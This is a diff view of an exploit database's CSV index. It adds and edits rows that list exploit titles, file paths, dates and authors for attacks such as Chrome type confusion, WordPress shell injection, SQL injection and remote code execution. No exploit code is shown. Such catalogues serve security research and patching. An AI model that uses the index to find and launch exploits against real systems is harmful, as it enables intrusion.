48184,exploits/multiple/remote/48184.rb,"Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit)",2020-03-09,Metasploit,remote,multiple,
|
||||||
|
48186,exploits/multiple/remote/48186.rb,"Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)",2020-03-09,Metasploit,remote,multiple,
|
||||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||||
|
@ -41839,7 +41846,8 @@ id,file,description,date,author,type,platform,port
|
||||||
46669,exploits/linux/webapps/46669.txt,"CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting",2019-04-08,DKM,webapps,linux,
|
46669,exploits/linux/webapps/46669.txt,"CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting",2019-04-08,DKM,webapps,linux,
|
||||||
46671,exploits/php/webapps/46671.txt,"Tradebox CryptoCurrency - 'symbol' SQL Injection",2019-04-08,"Abdullah Çelebi",webapps,php,80
|
46671,exploits/php/webapps/46671.txt,"Tradebox CryptoCurrency - 'symbol' SQL Injection",2019-04-08,"Abdullah Çelebi",webapps,php,80
|
||||||
46672,exploits/php/webapps/46672.js,"WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit Bypass",2019-04-08,isdampe,webapps,php,80
|
46672,exploits/php/webapps/46672.js,"WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit Bypass",2019-04-08,isdampe,webapps,php,80
|
||||||
46674,exploits/java/webapps/46674.txt,"ManageEngine ServiceDesk Plus 9.3 - User Enumeration",2019-04-08,"Alexander Bluestein",webapps,java,
|
46674,exploits/java/webapps/46674.txt,"ManageEngine ServiceDesk Plus 9.3 - User Enumeration",2019-04-08,Operat0r,webapps,java,
|
||||||
|
48177,exploits/php/webapps/48177.txt,"60CycleCMS - 'news.php' SQL Injection",2020-03-09,Unkn0wn,webapps,php,
|
||||||
46681,exploits/php/webapps/46681.txt,"Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection",2019-04-09,"Doğukan Karaciğer",webapps,php,80
|
46681,exploits/php/webapps/46681.txt,"Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection",2019-04-09,"Doğukan Karaciğer",webapps,php,80
|
||||||
46684,exploits/php/webapps/46684.py,"Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution",2019-04-10,"Julien Ahrens",webapps,php,443
|
46684,exploits/php/webapps/46684.py,"Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution",2019-04-10,"Julien Ahrens",webapps,php,443
|
||||||
46687,exploits/hardware/webapps/46687.txt,"D-Link DI-524 V2.06RU - Multiple Cross-Site Scripting",2019-04-10,"Semen Alexandrovich Lyhin",webapps,hardware,80
|
46687,exploits/hardware/webapps/46687.txt,"D-Link DI-524 V2.06RU - Multiple Cross-Site Scripting",2019-04-10,"Semen Alexandrovich Lyhin",webapps,hardware,80
|
||||||
|
@ -41960,7 +41968,7 @@ id,file,description,date,author,type,platform,port
|
||||||
47059,exploits/linux/webapps/47059.txt,"PowerPanel Business Edition - Cross-Site Scripting",2019-07-01,"Joey Lane",webapps,linux,
|
47059,exploits/linux/webapps/47059.txt,"PowerPanel Business Edition - Cross-Site Scripting",2019-07-01,"Joey Lane",webapps,linux,
|
||||||
47060,exploits/php/webapps/47060.txt,"ZoneMinder 1.32.3 - Cross-Site Scripting",2019-07-01,"Joey Lane",webapps,php,
|
47060,exploits/php/webapps/47060.txt,"ZoneMinder 1.32.3 - Cross-Site Scripting",2019-07-01,"Joey Lane",webapps,php,
|
||||||
47061,exploits/multiple/webapps/47061.txt,"SAP Crystal Reports - Information Disclosure",2019-07-01,"Mohamed M.Fouad",webapps,multiple,
|
47061,exploits/multiple/webapps/47061.txt,"SAP Crystal Reports - Information Disclosure",2019-07-01,"Mohamed M.Fouad",webapps,multiple,
|
||||||
47062,exploits/multiple/webapps/47062.py,"Sahi pro 8.x - Directory Traversal",2019-07-01,"Alexander Bluestein",webapps,multiple,
|
47062,exploits/multiple/webapps/47062.py,"Sahi pro 8.x - Directory Traversal",2019-07-01,Operat0r,webapps,multiple,
|
||||||
47063,exploits/multiple/webapps/47063.html,"CyberPanel 1.8.4 - Cross-Site Request Forgery",2019-07-01,"Bilgi Birikim Sistemleri",webapps,multiple,
|
47063,exploits/multiple/webapps/47063.html,"CyberPanel 1.8.4 - Cross-Site Request Forgery",2019-07-01,"Bilgi Birikim Sistemleri",webapps,multiple,
|
||||||
47064,exploits/hardware/webapps/47064.txt,"FaceSentry Access Control System 6.4.8 - Remote Command Injection",2019-07-01,LiquidWorm,webapps,hardware,
|
47064,exploits/hardware/webapps/47064.txt,"FaceSentry Access Control System 6.4.8 - Remote Command Injection",2019-07-01,LiquidWorm,webapps,hardware,
|
||||||
47065,exploits/hardware/webapps/47065.txt,"FaceSentry Access Control System 6.4.8 - Cross-Site Request Forgery",2019-07-01,LiquidWorm,webapps,hardware,
|
47065,exploits/hardware/webapps/47065.txt,"FaceSentry Access Control System 6.4.8 - Cross-Site Request Forgery",2019-07-01,LiquidWorm,webapps,hardware,
|
||||||
|
@ -42440,3 +42448,4 @@ id,file,description,date,author,type,platform,port
|
||||||
48164,exploits/hardware/webapps/48164.txt,"RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection",2020-03-03,"Olga Villagran",webapps,hardware,
|
48164,exploits/hardware/webapps/48164.txt,"RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection",2020-03-03,"Olga Villagran",webapps,hardware,
|
||||||
48166,exploits/php/webapps/48166.txt,"UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read",2020-03-04,NgoAnhDuc,webapps,php,
|
48166,exploits/php/webapps/48166.txt,"UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read",2020-03-04,NgoAnhDuc,webapps,php,
|
||||||
48176,exploits/multiple/webapps/48176.py,"ManageEngine Desktop Central - 'FileStorage getChartImage' Deserialization / Unauthenticated Remote Code Execution",2019-12-12,mr_me,webapps,multiple,
|
48176,exploits/multiple/webapps/48176.py,"ManageEngine Desktop Central - 'FileStorage getChartImage' Deserialization / Unauthenticated Remote Code Execution",2019-12-12,mr_me,webapps,multiple,
|
||||||
|
48179,exploits/php/webapps/48179.txt,"Sentrifugo HRMS 3.2 - 'id' SQL Injection",2020-03-09,minhnb,webapps,php,
|
||||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue